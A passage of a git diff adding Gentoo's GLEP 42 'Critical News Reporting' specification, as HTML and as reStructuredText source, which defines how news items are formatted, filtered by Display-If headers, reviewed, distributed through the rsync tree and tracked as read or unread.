+<dd>It has already been demonstrated <a class="footnote-reference" href="#forums-apache2" id="id3">[5]</a> that many users do not
+read news items posted to the Gentoo website, or do not read news items
+until it is too late. A solution that relies upon active monitoring of a
+particular source has no advantage over current methods.</dd>
+<dt>Relevant</dt>
+<dd>System administrators who do not use a particular package should not have to
+read news items which affect purely that package. Some news items may be of
+relevance to most or all users, but those that are not should not be forced
+upon users unnecessarily.</dd>
+<dt>Lightweight</dt>
+<dd>It is not reasonable to expect all users to have an MTA, web browser, email
+client, cron daemon or text processing suite available on their system.
+Users must not be forced to install unreasonable extra software to be able
+to read news items.</dd>
+<dt>No privacy violations</dt>
+<dd>Users of the solution should not be required to provide information about
+their systems (for example, IP addresses or installed packages).</dd>
+<dt>Multiple delivery method support</dt>
+<dd>Some users may wish to view news items via email, some via a terminal and
+some via a web browser. A solution should either support all of these
+methods or (better still) make it simple to write clients for displaying
+news items in different ways.</dd>
+</dl>
+<p>The following characteristics would be desirable:</p>
+<dl class="docutils">
+<dt>Internationalisable</dt>
+<dd>Being able to provide messages in multiple languages may be beneficial.</dd>
+<dt>Quality control</dt>
+<dd>There should be some way to ensure that badly written or irrelevant messages
+are not sent out, for example by inexperienced developers or those whose
+English language skills are below par.</dd>
+<dt>Simple for developers</dt>
+<dd>Posting news items should be as simple as is reasonably possible.</dd>
+<dt>Simple for users</dt>
+<dd>Reading relevant news items should be as simple as is reasonably possible.</dd>
+<dt>Compatibility with existing and future news sources</dt>
+<dd>A news system would ideally be able to be integrated with existing news
+sources (for example, Forums, GWN, the main Gentoo website) without
+excessive difficulty. Similarly, easy interoperation with any future news
+sources should not be precluded.</dd>
+</dl>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id25">Specification</a></h1>
+<div class="section" id="overview">
+<h2><a class="toc-backref" href="#id26">Overview</a></h2>
+<p>News items are published and delivered to users as follows:</p>
+<ol class="arabic simple">
+<li>A news item is written. The format to be used is described below.</li>
+<li>The news item is reviewed, following the process described in
+<a class="reference internal" href="#news-item-quality-control">News Item Quality Control</a>.</li>
+<li>The news item is committed to a CVS (or Subversion <a class="footnote-reference" href="#glep-36" id="id4">[9]</a>) repository.
+From here, it is merged with the rsync tree. This is described in <a class="reference internal" href="#news-item-distribution">News Item
+Distribution</a>.</li>
+<li>Users fetch the news item when they sync. This ensures that the news items in
+question are pushed to the user before the user accidentally makes an
+unwanted change. No changes to the existing rsync process are required by
+this GLEP.</li>
+<li>The package manager filters the news item and, if it is relevant, marks the
+news item for reading. The package manager should also display a notice
+informing the user that there are unread news items.</li>
+<li>The news item is handled by the user's choice of news item reader. See <a class="reference internal" href="#news-item-clients">News
+Item Clients</a>.</li>
+</ol>
+</div>
+<div class="section" id="required-portage-enhancements">
+<h2><a class="toc-backref" href="#id27">Required Portage Enhancements</a></h2>
+<p>The following extensions to Portage are required:</p>
+<ul class="simple">
+<li>Every repository (including overlays) will require a unique identifier. It is
+assumed that an identifier will be a string consisting of characters from
+<tt class="docutils literal">a</tt> to <tt class="docutils literal">z</tt>, <tt class="docutils literal">A</tt> to <tt class="docutils literal">Z</tt>, <tt class="docutils literal">0</tt> to <tt class="docutils literal">9</tt>, <tt class="docutils literal">+</tt> (plus), <tt class="docutils literal">-</tt> (hyphen)
+<tt class="docutils literal">_</tt> (underscore).</li>
+<li>Portage must provide a way for external programs to obtain a list of all
+repository identifiers for a given system. It is assumed that this will be in
+the form of a <tt class="docutils literal">portageq</tt> command (e.g. <tt class="docutils literal">portageq get_repo_ids</tt>).</li>
+<li>Portage must provide a way for external programs to obtain the base path for
+a repository with a given ID. It is assumed that this will be in the form of
+a <tt class="docutils literal">portageq</tt> command (e.g. <tt class="docutils literal">portageq get_repo_root <span class="pre">gentoo-x86</span></tt>).</li>
+<li>Portage must extend <tt class="docutils literal">portageq has_version</tt> to support restrictions to a
+given repository ID.</li>
+<li>Portage must extend <tt class="docutils literal">portageq</tt> to implement a command which returns whether
+or not the profile used for a given repository ID is exactly the given profile
+(e.g. <tt class="docutils literal">portageq profile_used <span class="pre">default-linux/sparc/sparc64/2004.3</span>
+<span class="pre">gentoo-x86</span></tt>).</li>
+</ul>
+<p>These extensions are assumed during the following specification.</p>
+</div>
+<div class="section" id="news-item-identities">
+<h2><a class="toc-backref" href="#id28">News Item Identities</a></h2>
+<p>Each news item will have a unique identifier. This identifier will be in the
+form <tt class="docutils literal"><span class="pre">yyyy-mm-dd-short-name</span></tt>, where <tt class="docutils literal">yyyy</tt> is the year (e.g. <tt class="docutils literal">2005</tt>),
+<tt class="docutils literal">mm</tt> is the month (<tt class="docutils literal">01</tt> through <tt class="docutils literal">12</tt>) and dd is the day of the month
+(<tt class="docutils literal">01</tt> through <tt class="docutils literal">31</tt>). The <tt class="docutils literal"><span class="pre">short-name</span></tt> is a very short name describing the
+news item (e.g. <tt class="docutils literal"><span class="pre">yoursql-updates</span></tt>), consisting only of the characters <tt class="docutils literal"><span class="pre">a-z</span></tt>,
+<tt class="docutils literal"><span class="pre">0-9</span></tt>, <tt class="docutils literal">+</tt> (plus), <tt class="docutils literal">-</tt> (hyphen) and <tt class="docutils literal">_</tt> (underscore).</p>
+</div>
+<div class="section" id="news-item-directories">
+<h2><a class="toc-backref" href="#id29">News Item Directories</a></h2>
+<p>Each news item will be represented by a directory whose name is the same as the
+news item's identifier.</p>
+<p>The directory will contain a file named <tt class="docutils literal"><span class="pre">yyyy-mm-dd-short-name.en.txt</span></tt>, which
+contains the text of the news item, in English, in the format described below.</p>
+<p>If a news item is translated, other files named <tt class="docutils literal"><span class="pre">yyyy-mm-dd-short-name.xx.txt</span></tt>
+(where <tt class="docutils literal">xx</tt> is the ISO 639 <a class="footnote-reference" href="#iso-639" id="id5">[11]</a> two letter country code, and the date
+remains the same as the original news item) will also be provided. However, only
+the English version of a news item is authoritative.  This anglocentricity is
+justified by precedent <a class="footnote-reference" href="#glep-34" id="id6">[8]</a>.</p>
+</div>
+<div class="section" id="news-item-files">
+<h2><a class="toc-backref" href="#id30">News Item Files</a></h2>
+<p>A news item file is a text file, encoded using UTF-8 <a class="footnote-reference" href="#rfc-3629" id="id7">[14]</a> for
+compatibility with and for the same reasons as existing Gentoo documentation
+<a class="footnote-reference" href="#docs-policy" id="id8">[2]</a> and the tree <a class="footnote-reference" href="#glep-31" id="id9">[7]</a>.</p>
+<p>News items must be signed with a detached GPG signature.:</p>
+<pre class="literal-block">
+gpg --armour --detach-sign ????-??-??-*.??.txt
+</pre>
+<p>This GLEP does not specify the type or strength of signature to be used, nor
+does it discuss how, if at all, a centralised keychain will be provided. These
+issues should be handled as part of the signing policy discussions.</p>
+<p>A news item file's content will consist of an <a class="reference external" href="http://www.faqs.org/rfcs/rfc822.html">RFC 822</a> style header <a class="footnote-reference" href="#rfc-822" id="id10">[13]</a>
+followed by the main body of the message as plain text. This GLEP defines
+various optional and mandatory headers. Future GLEPs may propose new headers —
+tools handling these news items must ignore any unrecognised header.</p>
+<div class="section" id="news-item-headers">
+<h3><a class="toc-backref" href="#id31">News Item Headers</a></h3>
+<p>The following headers describe the purpose and format of the news item:</p>
+<dl class="docutils">
+<dt><tt class="docutils literal">Title:</tt></dt>
+<dd>A short (maximum 44 characters) descriptive title. Mandatory.</dd>
+<dt><tt class="docutils literal">Author:</tt></dt>
+<dd>Author's name and email address, in the form <tt class="docutils literal">Real Name &lt;email&#64;address&gt;</tt>.
+Mandatory; multiple author headers may be specified if appropriate.</dd>
+<dt><tt class="docutils literal">Translator:</tt></dt>
+<dd>For translated news items, the translator's name and email address. Multiple
+translator headers may be specified if appropriate.</dd>
+<dt><tt class="docutils literal"><span class="pre">Content-Type:</span></tt></dt>
+<dd>Must be <tt class="docutils literal">text/plain</tt>. Mandatory.</dd>
+<dt><tt class="docutils literal">Posted:</tt></dt>
+<dd>Date of posting, in <tt class="docutils literal"><span class="pre">yyyy-mm-dd</span></tt> format (e.g. 2005-12-18) for
+compatibility with GLEP 45 <a class="footnote-reference" href="#glep-45" id="id11">[10]</a>. Translations should use the date
+of the original news item. Mandatory.</dd>
+<dt><tt class="docutils literal">Revision:</tt></dt>
+<dd>Initially 1. Should be incremented every time a change is made to the news
+item. Changes that require a re-read of the news item (i.e., most changes
+that are not spelling or formatting related) should instead use a new news
+item. Mandatory.</dd>
+<dt><tt class="docutils literal"><span class="pre">News-Item-Format:</span></tt></dt>
+<dd>Must be <tt class="docutils literal">1.0</tt>. Future revisions to the format may increment the minor
+number for backwards-compatible changes, or the major number for major
+changes.</dd>
+</dl>
+<p>The following headers are used for filtering:</p>
+<dl class="docutils">
+<dt><tt class="docutils literal"><span class="pre">Display-If-Installed:</span></tt></dt>
+<dd>A dependency atom (for example, <tt class="docutils literal"><span class="pre">&lt;dev-lang/php-5_alpha</span></tt> or
+<tt class="docutils literal"><span class="pre">net-www/apache</span></tt>). If the user has the package specified installed from
+the repository from which the news item was obtained, the news item should
+be displayed.</dd>
+<dt><tt class="docutils literal"><span class="pre">Display-If-Keyword:</span></tt></dt>
+<dd>A keyword <a class="footnote-reference" href="#glep-22" id="id12">[6]</a> name, for example <tt class="docutils literal">mips</tt> or <tt class="docutils literal"><span class="pre">x86-fbsd</span></tt>. If the
+user is on the keyword in question, the news item should be displayed.</dd>
+<dt><tt class="docutils literal"><span class="pre">Display-If-Profile:</span></tt></dt>
+<dd>A profile path, for example <tt class="docutils literal"><span class="pre">default-linux/sparc/sparc64/server</span></tt>. If the
+user is using the exact profile in question, the news item should be
+displayed. This header may be used to replace <tt class="docutils literal">deprecated</tt> files in the
+future.</dd>
+</dl>
+<div class="note">
+<p class="first admonition-title">Note</p>
+<p class="last">When performing package moves, developers must also update any
+relevant <tt class="docutils literal"><span class="pre">Display-If-Installed</span></tt> headers in news files.</p>
+</div>
+<p>The algorithm used to determine whether a news item is 'relevant' is as
+follows:</p>
+<ul class="simple">
+<li>For each <tt class="docutils literal"><span class="pre">Display-If-</span></tt> header type which occurs at least once:<ul>
+<li>The news item is not relevant if none of the headers of this type are
+successfully matched.</li>
+</ul>
+</li>
+<li>Otherwise the news item is relevant.</li>
+</ul>
+<p>In particular, if no <tt class="docutils literal"><span class="pre">Display-If-</span></tt> header is specified, a news item will be
+relevant for all users.</p>
+<p>This algorithm was chosen because it makes conditions like &quot;display this news
+item for <tt class="docutils literal">YourSQL</tt> users who are on <tt class="docutils literal">sparc</tt> or <tt class="docutils literal"><span class="pre">x86-obsd</span></tt> relatively
+simple to specify — it is believed that these kinds of condition are far more
+likely to occur than &quot;display this news item for people using <tt class="docutils literal">YourSQL</tt>, or
+for people on <tt class="docutils literal">sparc</tt> or <tt class="docutils literal"><span class="pre">x86-obsd</span></tt>&quot; or &quot;display these news items for
+people who use <tt class="docutils literal">YourSQL</tt> and who are on both <tt class="docutils literal">sparc</tt> and <tt class="docutils literal"><span class="pre">x86-obsd</span></tt>&quot;.</p>
+</div>
+<div class="section" id="news-item-body">
+<h3><a class="toc-backref" href="#id32">News Item Body</a></h3>
+<p>The header section must be followed by a blank line, then the main body of the
+text.</p>
+<p>The text body should be wrapped at 72 characters. No fancy formatting or tab
+characters should be used — the news item may be being displayed directly to a
+terminal. Paragraphs should be separated by a blank line.</p>
+<p>Hyperlinks may be used to refer to further information (for example, an upgrade
+guide). However, the main body of the news item should be descriptive and not
+simply a &quot;read this link&quot; text. It is assumed that the user will have access to
+a web browser <em>somewhere</em>, but not necessarily on the box which is being
+administrated — this will be the case on many servers and routers, for example.</p>
+</div>
+<div class="section" id="example-news-item">
+<h3><a class="toc-backref" href="#id33">Example News Item</a></h3>
+<p><a class="reference external" href="glep-0042-extras/example-news-item.txt">This hypothetical news item</a> <a class="footnote-reference" href="#id20" id="id21">[18]</a> could be used for an upgrade to the
+<tt class="docutils literal">YourSQL</tt> database format which breaks forward compatibility.</p>
+</div>
+</div>
+<div class="section" id="news-item-quality-control">
+<h2><a class="toc-backref" href="#id34">News Item Quality Control</a></h2>
+<p>There have been complaints regarding the comprehensibility of some upgrade
+notices and news items in the past. This is understandable — not every Gentoo
+developer speaks English as a first language. However, for the sake of clarity,
+professionalism and avoiding making us look like prats, it is important that any
+language problems be corrected before inflicting a news item upon end users.</p>
+<p>Thus, at least 72 hours before a proposed news item is committed, it must be
+posted to the <tt class="docutils literal"><span class="pre">gentoo-dev</span></tt> mailing list and <tt class="docutils literal">Cc:</tt>ed to <tt class="docutils literal">pr&#64;gentoo.org</tt>
+(exceptions may be made in exceptional circumstances). Any complaints — for
+example regarding wording, clarity or accuracy — <strong>must</strong> be addressed before
+the news item goes live.</p>
+<p>News items must only be for <strong>important</strong> changes that may cause serious upgrade
+or compatibility problems. Ordinary upgrade messages and non-critical news items
+should remain in <tt class="docutils literal">einfo</tt> notices. The importance of the message to its
+intended audience should be justified with the proposal.</p>
+<div class="important">
+<p class="first admonition-title">Important</p>
+<p class="last">The filtering system means that it is appropriate to send out
+news items which are aimed at users of an uncommon package or architecture.
+Thus, the justification should be in the form &quot;this message is important to
+YourSQL users because ...&quot;, not &quot;YourSQL is important because ...&quot;.</p>
+</div>
+</div>
+<div class="section" id="news-item-distribution">
+<h2><a class="toc-backref" href="#id35">News Item Distribution</a></h2>
+<div class="section" id="server-side">
+<h3><a class="toc-backref" href="#id36">Server Side</a></h3>
+<p>News items are to be made available via the standard rsync tree. This removes
+any need for polling of a remote source.</p>
+<p>A new repository will be created for news items. The type (CVS or Subversion),
+location and access controls on this repository are beyond the scope of this
+GLEP.</p>
+<div class="note">
+<p class="first admonition-title">Note</p>
+<p class="last">A previous draft of this GLEP instead used the main <tt class="docutils literal"><span class="pre">gentoo-x86</span></tt>
+tree. This was changed following advice from Infrastructure
+<a class="footnote-reference" href="#ramereth-repo" id="id14">[12]</a>. Both solutions have the same end result.</p>
+</div>
+<p>This repository will contain directories named <tt class="docutils literal">yyyy/</tt>, where <tt class="docutils literal">yyyy</tt> is
+the current year. This separation will help keep news items more manageable.</p>
+<p>The contents of this repository will automatically be merged with the main rsync
+tree, placing the items in a <tt class="docutils literal">metadata/news/</tt> directory. The method used for
+merging these items and the frequency at which it will occur is beyond the scope
+of this GLEP; a similar setup is already used for merging GLSAs into the rsync
+tree.</p>
+<p>The main rsync tree will <strong>not</strong> use the <tt class="docutils literal">yyyy/</tt> subdirectory layout. The
+news item directories will all be immediately under the <tt class="docutils literal">metadata/news/</tt>
+directory.</p>
+</div>
+<div class="section" id="client-side">
+<h3><a class="toc-backref" href="#id37">Client Side</a></h3>
+<p>Whenever relevant unread news items are found, the package manager will create a
+file named <tt class="docutils literal"><span class="pre">/var/lib/gentoo/news/news-${repoid}.unread</span></tt> (if it does not
+already exist) and append the news item identifier (eg
+<tt class="docutils literal"><span class="pre">2005-11-01-yoursql-updates</span></tt>) on a new line.</p>
+<p>All news item related files should be root owned and in the <tt class="docutils literal">portage</tt> group
+with the group write (and, for directories, execute) bits set. News files should
+be world readable.</p>
+<p>Notification that new relevant news items will be displayed via the
+<tt class="docutils literal">emerge</tt> tool in a similar way to the existing &quot;configuration files need
+updating&quot; messages:</p>
+<pre class="literal-block">
+* Important: there are 5 unread news items.
+* Type emerge --help news to learn how to read news files.
+</pre>
+<p>Checks for new news messages should be displayed:</p>
+<ul class="simple">
+<li>After an <tt class="docutils literal">emerge sync</tt></li>
+<li>After an <tt class="docutils literal">emerge <span class="pre">--pretend</span></tt></li>
+<li>Before an <tt class="docutils literal">emerge &lt;target&gt;</tt> (which may also include a red warning message)</li>
+</ul>
+<p>The package manager does not need to know how to launch the user's choice of
+news client. This is consistent with the way configuration file updates are
+handled.</p>
+<p>The package manager may use a timestamp check file to avoid having to process
+news items unnecessarily.</p>
+<p>The package manager must keep track of news items that have already been added
+to the unread list to avoid repeatedly marking a deleted news item. This could
+be handled via a <tt class="docutils literal"><span class="pre">news-${repoid}.skip</span></tt> file containing the IDs of news items
+that have already been added to a <tt class="docutils literal"><span class="pre">news-${repoid}.unread</span></tt> file, but this
+method is not required by this GLEP.</p>
+<p>Users who really don't care about news items can use <tt class="docutils literal">rsync_excludes</tt> to
+filter out the <tt class="docutils literal">metadata/news/</tt> directory.</p>
+</div>
+</div>
+<div class="section" id="news-item-clients">
+<h2><a class="toc-backref" href="#id38">News Item Clients</a></h2>
+<p>Once a news item is marked for reading, third party tools (or traditional core
+Unix tools) can be used to display and view the news files.</p>
+<p>When a news item is read, its name should be removed from the
+<tt class="docutils literal"><span class="pre">news-${repoid}.unread</span></tt> file. If a news client acts as an interactive reader
+rather than a gateway, it should then add the name to a <tt class="docutils literal"><span class="pre">news-${repoid}.read</span></tt>
+file in the same directory with the same file format.</p>
+<p>An <tt class="docutils literal">eselect</tt> <a class="footnote-reference" href="#eselect" id="id15">[3]</a> module shall be created as the 'suggested' display
+tool; other display tools (for example, a news to email forwarder, which would
+be ideal for users who sync on a <tt class="docutils literal">cron</tt>) are left as options for those who
+desire them.</p>
+</div>
+<div class="section" id="news-item-removal">
+<h2><a class="toc-backref" href="#id39">News Item Removal</a></h2>
+<p>News items can be removed (by removing the news file from the main tree) when
+they are no longer relevant, if they are made obsolete by a future news item or
+after a long period of time. This is the same as the method used for <tt class="docutils literal">updates</tt>
+entries.</p>
+</div>
+</div>
+<div class="section" id="integration-with-existing-systems">
+<h1><a class="toc-backref" href="#id40">Integration with Existing Systems</a></h1>
+<p>It would be simple to convert these news items into the format used for news
+items on the Gentoo website or posts for the <tt class="docutils literal"><span class="pre">gentoo-announce</span></tt> mailing list.</p>
+<p>There is an existing automated tool <a class="footnote-reference" href="#forums-glsa" id="id16">[4]</a> for posting GLSAs to the
+forums. A similar tool can be used for these news items.</p>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id41">Backwards Compatibility</a></h1>
+<p>Backwards compatibility is not a concern here. Existing tools will simply ignore
+the <tt class="docutils literal">news/</tt> directory.</p>
+</div>
+<div class="section" id="reference-implementation">
+<h1><a class="toc-backref" href="#id42">Reference Implementation</a></h1>
+<p>A reference implementation of the required package manager support can be found
+in Paludis <a class="footnote-reference" href="#paludis" id="id17">[15]</a>, along with a reference newsreader implemented as an
+eselect module <a class="footnote-reference" href="#eselect-news" id="id18">[16]</a>.</p>
+</div>
+<div class="section" id="credits">
+<h1><a class="toc-backref" href="#id43">Credits</a></h1>
+<p>The idea behind notifying users of news updates via Portage comes from Stuart
+Herbert <a class="footnote-reference" href="#stuart-blog" id="id19">[17]</a>.</p>
+<p>Thanks to Lance Albertson, Stephen Bennett, Donnie Berkholz, Grant Goodyear,
+Brian Harring, Marius Mauch, Dan Meltzer, Jason Stubbs, Paul de Vrieze and Alec
+Warner for input.  Some of the ideas presented here are theirs, others go
+completely against their suggestions.</p>
+</div>
+<div class="section" id="example-files">
+<h1><a class="toc-backref" href="#id44">Example Files</a></h1>
+<dl class="docutils">
+<dt><a class="reference external" href="glep-0042-extras/example-news-item.txt">example-news-item.txt</a></dt>
+<dd>An example news item.</dd>
+</dl>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id45">References</a></h1>
+<table class="docutils footnote" frame="void" id="bug-11359" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1">[1]</a></td><td>Bugzilla Bug 11359
+&quot;[NEW FEATURE] pkg_postinst/pkg_preinst ewarn/einfo logging&quot;,
+<a class="reference external" href="https://bugs.gentoo.org/show_bug.cgi?id=11359">https://bugs.gentoo.org/show_bug.cgi?id=11359</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="docs-policy" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id8">[2]</a></td><td>Gentoo XML Guide, Daniel Robbins et al.,
+<a class="reference external" href="http://www.gentoo.org/doc/en/xml-guide.xml">http://www.gentoo.org/doc/en/xml-guide.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="eselect" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id15">[3]</a></td><td>eselect modular framework for configuration and
+administration utilities,
+<a class="reference external" href="http://www.gentoo.org/proj/en/eselect/index.xml">http://www.gentoo.org/proj/en/eselect/index.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="forums-glsa" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id16">[4]</a></td><td>Forums user GLSA,
+<a class="reference external" href="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=55648">http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=55648</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="forums-apache2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[5]</td><td><em>(<a class="fn-backref" href="#id2">1</a>, <a class="fn-backref" href="#id3">2</a>)</em> Forums thread &quot;Gentoo Apache2 Config Change Idiocy&quot;,
+<a class="reference external" href="http://forums.gentoo.org/viewtopic-t-384368.html">http://forums.gentoo.org/viewtopic-t-384368.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="glep-22" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id12">[6]</a></td><td>GLEP 22: &quot;New &quot;keyword&quot; system to incorporate various
+userlands/kernels/archs&quot;, Grant Goodyear,
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0022.html">http://www.gentoo.org/proj/en/glep/glep-0022.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="glep-31" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id9">[7]</a></td><td>GLEP 31: &quot;Character Sets for Portage Tree Items&quot;, Ciaran
+McCreesh,
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0031.html">http://www.gentoo.org/proj/en/glep/glep-0031.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="glep-34" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6">[8]</a></td><td>GLEP 34: &quot;Per-Category metadata.xml Files&quot;, Ciaran McCreesh,
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0034.html">http://www.gentoo.org/proj/en/glep/glep-0034.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="glep-36" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4">[9]</a></td><td>GLEP 36: &quot;Subversion/CVS for Gentoo Hosted Projects&quot;, Aaron
+Walker,
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0036.html">http://www.gentoo.org/proj/en/glep/glep-0036.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="glep-45" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id11">[10]</a></td><td>GLEP 45: &quot;GLEP date format&quot;, Henrik Brix Andersen,
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0045.html">http://www.gentoo.org/proj/en/glep/glep-0045.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="iso-639" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5">[11]</a></td><td>ISO 639 &quot;Code for the representation of names of languages&quot;</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="ramereth-repo" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id14">[12]</a></td><td>&quot;Re: [gentoo-dev] GLEP ??: Critical News Reporting&quot;, Lance
+Albertson,
+<a class="reference external" href="http://marc.theaimsgroup.com/?l=gentoo-dev&amp;m=113111585907703&amp;w=2">http://marc.theaimsgroup.com/?l=gentoo-dev&amp;m=113111585907703&amp;w=2</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="rfc-822" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id10">[13]</a></td><td><a class="reference external" href="http://www.faqs.org/rfcs/rfc822.html">RFC 822</a> &quot;Standard for the format of ARPA Internet text messages&quot;</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="rfc-3629" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id7">[14]</a></td><td><a class="reference external" href="http://www.faqs.org/rfcs/rfc3629.html">RFC 3629</a>: &quot;UTF-8, a transformation format of ISO 10646&quot;
+<a class="reference external" href="http://www.ietf.org/rfc/rfc3629.txt">http://www.ietf.org/rfc/rfc3629.txt</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="paludis" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id17">[15]</a></td><td>Paludis homepage, <a class="reference external" href="http://paludis.berlios.de">http://paludis.berlios.de</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="eselect-news" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id18">[16]</a></td><td>news.eselect, <a class="reference external" href="http://svn.berlios.de/svnroot/repos/paludis/trunk/eselect/news.eselect">http://svn.berlios.de/svnroot/repos/paludis/trunk/eselect/news.eselect</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="stuart-blog" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id19">[17]</a></td><td>&quot;Favouring an automatic news mechanism&quot;, Stuart Herbert,
+<a class="reference external" href="http://stu.gnqs.org/diary/gentoo.php/2005/10/28/favouring_an_automatic_news_mechanism">http://stu.gnqs.org/diary/gentoo.php/2005/10/28/favouring_an_automatic_news_mechanism</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id20" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id21">[18]</a></td><td><a class="reference external" href="glep-0042-extras/example-news-item.txt">glep-0042-extras/example-news-item.txt</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id46">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<!-- vim: set tw=80 fileencoding=utf-8 spell spelllang=en et : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0042.txt">View document source</a>.
+Generated on: 2010-02-22 20:32 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0042.txt b/xml/htdocs/proj/en/glep/glep-0042.txt
new file mode 100644
index 00000000..76923501
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0042.txt
@@ -0,0 +1,520 @@
+GLEP: 42
+Title: Critical News Reporting
+Version: $Revision: 1.14 $
+Author: Ciaran McCreesh <ciaranm@gentoo.org>,
+        Stephen Bennett <spb@gentoo.org>,
+        Zach Medico <zmedico@gentoo.org>
+Last-Modified: $Date: 2010/02/22 11:38:26 $
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 31-Oct-2005
+Post-History: 1-Nov-2005, 5-Nov-2005, 7-Nov-2005, 11-Dec-2005, 13-Dec-2005, 18-Dec-2005, 5-Jan-2006, 2-Mar-2006, 6-Mar-2006, 12-Jun-2006, 5-Sep-2006
+
+Abstract
+========
+
+This GLEP proposes a new way of informing users about important updates and news
+related to the tree.
+
+Motivation
+==========
+
+Although most package updates are clean and require little user action,
+occasionally an upgrade requires user intervention.  Recent examples of the
+latter include the ``gcc-3.4`` stabilisation on ``x86`` and the ``mysql-4.1``
+database format changes.
+
+There are currently several ways of delivering important news items to our
+users, none of them particularly effective:
+
+* Gentoo Weekly News
+* The ``gentoo-announce``, ``gentoo-user`` and ``gentoo-dev`` mailing lists
+* The Gentoo Forums
+* The main Gentoo website
+* RSS feeds of Gentoo news
+* ``einfo`` and ``ewarn`` messages in ``pkg_setup`` or ``pkg_postinst``
+
+A more reliable way of getting news of critical updates out to users is required
+to avoid repeats of various prior upgrade debacles. This GLEP proposes a
+solution based around pushing news items out to the user via the ``rsync`` tree.
+
+.. Important:: This GLEP does not seek to replace or modify ``einfo`` messages
+   which are displayed post-install. That is a separate issue which is handled
+   by ``elog`` [#bug-11359]_.
+
+Requirements
+============
+
+An adequate solution must meet all of the following requirements:
+
+Preemptive
+    Users should be told of changes *before* they break a system, not after the
+    damage has already been done. Ideally, the system administrator would be
+    given ample warning to plan difficult upgrades and changes, rather than only
+    being told just before action is necessary.
+
+No user subscription required
+    It has already been demonstrated [#forums-apache2]_ that many users do not
+    read the ``gentoo-announce`` mailing list or ``RSS`` feeds. A solution that
+    requires subscription has no advantage over current methods.
+
+No user monitoring required
+    It has already been demonstrated [#forums-apache2]_ that many users do not
+    read news items posted to the Gentoo website, or do not read news items
+    until it is too late. A solution that relies upon active monitoring of a
